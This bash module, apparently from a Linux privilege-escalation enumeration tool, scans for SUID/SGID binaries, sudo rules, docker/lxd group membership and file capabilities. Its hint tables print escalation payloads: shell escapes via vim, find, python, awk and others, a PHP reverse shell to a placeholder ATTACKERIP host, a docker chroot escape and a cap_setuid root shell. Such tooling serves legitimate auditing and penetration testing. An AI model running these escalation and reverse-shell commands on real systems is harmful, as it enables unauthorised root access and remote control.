#!/bin/bash

# Title: SUID/SGID and Capabilities Checker
# Description: Check for exploitable SUID/SGID binaries and capabilities
# Author: Jonas Resch

# Known SUID/SGID binaries that can be used for privilege escalation
declare -A SUID_BINS
SUID_BINS["/usr/bin/sudo"]="Execute commands as root with proper permissions"
SUID_BINS["/usr/bin/pkexec"]="Execute commands as another user with policykit"
SUID_BINS["/usr/bin/dbus-daemon-launch-helper"]="Helps to launch dbus services"
SUID_BINS["/usr/lib/openssh/ssh-keysign"]="Used by ssh for host-based authentication"
SUID_BINS["/usr/lib/dbus-1.0/dbus-daemon-launch-helper"]="Helps to launch dbus services"
SUID_BINS["/usr/lib/eject/dmcrypt-get-device"]="Used by cryptsetup for device mapping"
SUID_BINS["/usr/lib/policykit-1/polkit-agent-helper-1"]="policykit helper for authentication"
SUID_BINS["/usr/lib/xorg/Xorg.wrap"]="X server wrapper"
SUID_BINS["/usr/sbin/pppd"]="Point-to-Point Protocol daemon"
SUID_BINS["/usr/sbin/exim4"]="Mail Transfer Agent"
SUID_BINS["/sbin/mount.nfs"]="Used to mount NFS file systems"
SUID_BINS["/bin/mount"]="Mount file systems"
SUID_BINS["/bin/umount"]="Unmount file systems"
SUID_BINS["/bin/su"]="Switch user"
SUID_BINS["/bin/ping"]="Send ICMP ECHO_REQUEST packets to network hosts"

# Exploitable SUID binaries
declare -A EXPLOITABLE_BINS
EXPLOITABLE_BINS["/usr/bin/nmap"]="--interactive -> !sh"
EXPLOITABLE_BINS["/usr/bin/vim"]="vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
EXPLOITABLE_BINS["/usr/bin/find"]="find . -exec /bin/sh -p \\; -quit"
EXPLOITABLE_BINS["/usr/bin/nano"]="Can write to sensitive files"
EXPLOITABLE_BINS["/usr/bin/python"]="python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
EXPLOITABLE_BINS["/usr/bin/perl"]="perl -e 'exec \"/bin/sh\";'"
EXPLOITABLE_BINS["/usr/bin/ruby"]="ruby -e 'exec \"/bin/sh\"'"
EXPLOITABLE_BINS["/usr/bin/php"]="php -r '\\$sock=fsockopen(\"ATTACKERIP\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
EXPLOITABLE_BINS["/usr/bin/less"]="less /etc/profile then !/bin/sh"
EXPLOITABLE_BINS["/usr/bin/more"]="more /etc/profile then !/bin/sh"
EXPLOITABLE_BINS["/usr/bin/man"]="man man then !/bin/sh"
EXPLOITABLE_BINS["/usr/bin/awk"]="awk 'BEGIN {system(\"/bin/sh\")}'"
EXPLOITABLE_BINS["/usr/bin/bash"]="bash -p"
EXPLOITABLE_BINS["/usr/bin/cp"]="Can copy over sensitive files"
EXPLOITABLE_BINS["/usr/bin/mv"]="Can move over sensitive files"
EXPLOITABLE_BINS["/usr/bin/chmod"]="Can change permissions of sensitive files"
EXPLOITABLE_BINS["/usr/bin/chown"]="Can change ownership of sensitive files"

check_suid_binaries() {
  print_subtitle "SUID/SGID Binaries"
  
  # Find SUID binaries
  print_info "Looking for SUID binaries (might take a while)..."
  
  # Optimized find command that skips irrelevant directories
  suid_bins=$(find / -path /proc -prune -o \
                    -path /sys -prune -o \
                    -path /run -prune -o \
                    -path /snap -prune -o \
                    -path /var/lib/docker -prune -o \
                    -path /var/lib/lxc -prune -o \
                    -path /mnt -prune -o \
                    -path /media -prune -o \
                    -path /dev -prune -o \
                    -type f \( -perm -4000 -o -perm -2000 \) -print 2>/dev/null)
  
  if [ -n "$suid_bins" ]; then
    print_success "Found $(echo "$suid_bins" | wc -l) SUID/SGID binaries:"
    
    echo "$suid_bins" | while read -r binary; do
      owner=$(ls -la "$binary" 2>/dev/null | awk '{print $3}')
      perms=$(ls -la "$binary" 2>/dev/null | awk '{print $1}')
      
      # Safer way to check array keys
      is_exploitable=0
      is_known=0
      exploitable_info=""
      known_info=""
      
      # Check each key in the exploitable bins array
      for key in "${!EXPLOITABLE_BINS[@]}"; do
        if [ "$key" = "$binary" ]; then
          is_exploitable=1
          exploitable_info="${EXPLOITABLE_BINS[$key]}"
          break
        fi
      done
      
      # Check each key in the known SUID bins array
      for key in "${!SUID_BINS[@]}"; do
        if [ "$key" = "$binary" ]; then
          is_known=1
          known_info="${SUID_BINS[$key]}"
          break
        fi
      done
      
      # Now safely display the information
      if [ "$is_exploitable" -eq 1 ]; then
        print_critical " ${RED}${binary}${NC} [${perms}] [Owner: ${owner}]"
        print_critical "   ${RED}→ Exploitable:${NC} ${exploitable_info}"
      elif [ "$is_known" -eq 1 ]; then
        print_warning " ${YELLOW}${binary}${NC} [${perms}] [Owner: ${owner}]"
        print_warning "   ${YELLOW}→ Purpose:${NC} ${known_info}"
      else
        print_success " ${binary} [${perms}] [Owner: ${owner}]"
      fi
      
      # Check if it's a shell script (which shouldn't have SUID bit)
      if [ -f "$binary" ] && file "$binary" 2>/dev/null | grep -q "shell script"; then
        print_critical "   ${RED}→ This is a shell script! Very uncommon and likely vulnerable!${NC}"
      fi
      
      # Check if it's world-writable (which is very dangerous)
      if [ -f "$binary" ] && [ -w "$binary" ]; then
        print_critical "   ${RED}→ This binary is world-writable! Extremely dangerous!${NC}"
      fi
    done
  else
    print_warning "No SUID/SGID binaries found (strange, there should be at least some standard ones)"
  fi
}

check_custom_privesc_vectors() {
  print_subtitle "Custom Privesc Vectors"
  
  # Check for SUDO commands that can be used for privilege escalation
  print_info "Checking for custom privesc vectors..."
  
  # Check for common shells
  shell_list=("bash" "sh" "dash" "zsh" "csh" "ksh" "tcsh" "fish")
  print_info "Shell access as other users:"
  
  for shell in "${shell_list[@]}"; do
    # Check if we can sudo as this shell
    if [ -n "$PASSWORD" ]; then
      # Use password with sudo
      if echo "$PASSWORD" | sudo -S -l 2>/dev/null | grep -q "bin/$shell"; then
        print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell"
      fi
    else
      # Try without password (non-interactive)
      if sudo -n -l 2>/dev/null | grep -q "bin/$shell"; then
        print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell"
      fi
    fi
    
    # Check for shell SUID
    shell_path=$(which "$shell" 2>/dev/null)
    if [ -n "$shell_path" ] && [ -u "$shell_path" ]; then
      print_critical " ${RED}$shell_path has SUID bit set!${NC} Try: $shell_path -p"
    fi
  done
  
  # Check for dangerous sudoers entries
  print_info "Dangerous sudoers rules:"
  
  # Get sudo permissions
  if [ -n "$PASSWORD" ]; then
    sudo_commands=$(echo "$PASSWORD" | sudo -S -l 2>/dev/null)
  else
    sudo_commands=$(sudo -n -l 2>/dev/null)
  fi
  
  if [ -n "$sudo_commands" ]; then
    dangerous_cmds=("cp" "mv" "cat" "find" "vim" "vi" "emacs" "nano" "python" "perl" "ruby" "php" "awk" "sed" "echo" "less" "more" "man" "nc" "ncat" "netcat" "tee" "dd" "wget" "curl")
    
    for cmd in "${dangerous_cmds[@]}"; do
      if echo "$sudo_commands" | grep -i "bin/$cmd" | grep -v "NOEXEC"; then
        print_critical " ${RED}You can run $cmd as sudo!${NC} Check GTFOBins for exploitation: https://gtfobins.github.io/"
      fi
    done
    
    # Check for ALL commands
    if echo "$sudo_commands" | grep -q "(ALL)" | grep -v "NOEXEC"; then
      print_critical " ${RED}You can run ALL commands!${NC} Exploit: sudo su"
    fi
    
    # Check for sudoedit (can edit sensitive files)
    if echo "$sudo_commands" | grep -q "sudoedit"; then
      print_critical " ${RED}You can use sudoedit!${NC} Try editing sensitive files like /etc/passwd or /etc/sudoers"
    fi
  fi
  
  # Check for docker group membership (instant root)
  if id -nG 2>/dev/null | grep -qw "docker"; then
    print_critical " ${RED}You are in the docker group!${NC} Try: docker run -v /:/mnt -it ubuntu chroot /mnt bash"
  fi
  
  # Check for lxd/lxc group membership (instant root)
  if id -nG 2>/dev/null | grep -qw "lxd\|lxc"; then
    print_critical " ${RED}You are in the lxd/lxc group!${NC} This can be exploited for root access."
  fi
}

check_capabilities() {
  print_subtitle "Linux Capabilities"
  
  # Check for binaries with capabilities
  print_info "Looking for binaries with capabilities..."
  
  if command_exists getcap; then
    # Optimized getcap command that skips irrelevant directories
    caps=$(getcap -r / 2>/dev/null | grep -v -E "/snap/|/proc/|/sys/|/run/|/var/lib/docker/|/var/lib/lxc/")
    
    if [ -n "$caps" ]; then
      print_success "Found binaries with capabilities:"
      
      echo "$caps" | while read -r line; do
        binary=$(echo "$line" | awk '{print $1}')
        capability=$(echo "$line" | awk '{print $2}')
        
        # Check for dangerous capabilities
        if echo "$capability" | grep -q "cap_setuid\|cap_setgid\|cap_sys_admin\|cap_net_admin\|cap_net_raw\|cap_sys_ptrace\|cap_sys_module"; then
          print_critical " ${RED}${binary}${NC} [${capability}]"
          
          # Specific capabilities exploitation guidance
          if echo "$capability" | grep -q "cap_setuid"; then
            print_critical "   ${RED}→ Can be exploited to get root! Example for Python:${NC}"
            print_critical "   ${RED}→ python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'"
          elif echo "$capability" | grep -q "cap_sys_admin"; then
            print_critical "   ${RED}→ Provides full admin capabilities, can mount filesystems etc.${NC}"
          elif echo "$capability" | grep -q "cap_sys_ptrace"; then
            print_critical "   ${RED}→ Can attach to any process and modify its memory${NC}"
          fi
        else
          print_warning " ${YELLOW}${binary}${NC} [${capability}]"
        fi
      done
    else
      print_success "No binaries with capabilities found"
    fi
  else
    print_warning "getcap not available, skipping capabilities check"
  fi
  
  # Check for potentially dangerous capabilities allowed in container
  if [ -f "/.dockerenv" ] || grep -qi "docker\|lxc" /proc/1/cgroup 2>/dev/null; then
    print_info "Checking for dangerous capabilities in container..."
    
    if [ -r /proc/self/status ]; then
      container_caps=$(grep "CapEff:" /proc/self/status 2>/dev/null)
      
      if [ -n "$container_caps" ]; then
        # Extract the hex value
        cap_hex=$(echo "$container_caps" | awk '{print $2}')
        
        # Convert to decimal and check specific bits for dangerous capabilities
        cap_dec=$(printf "%d" "0x$cap_hex" 2>/dev/null)
        
        # Check for CAP_SYS_ADMIN (bit 21)
        if (( (cap_dec >> 21) & 1 )); then
          print_critical " ${RED}Container has CAP_SYS_ADMIN capability!${NC} This can be exploited to escape."
        fi
        
        # Check for CAP_NET_ADMIN (bit 12)
        if (( (cap_dec >> 12) & 1 )); then
          print_warning " ${YELLOW}Container has CAP_NET_ADMIN capability!${NC} Can modify network configuration."
        fi
      fi
    fi
  fi
}

# Main function to run all SUID/SGID binary checks
suid_sgid_checks() {
  print_title "SUID/SGID Binaries and Capabilities"
  
  # Run all SUID/SGID and capabilities checks
  check_suid_binaries
  check_custom_privesc_vectors
  check_capabilities
  
  # Wait for user if wait mode is enabled
  wait_for_user
} 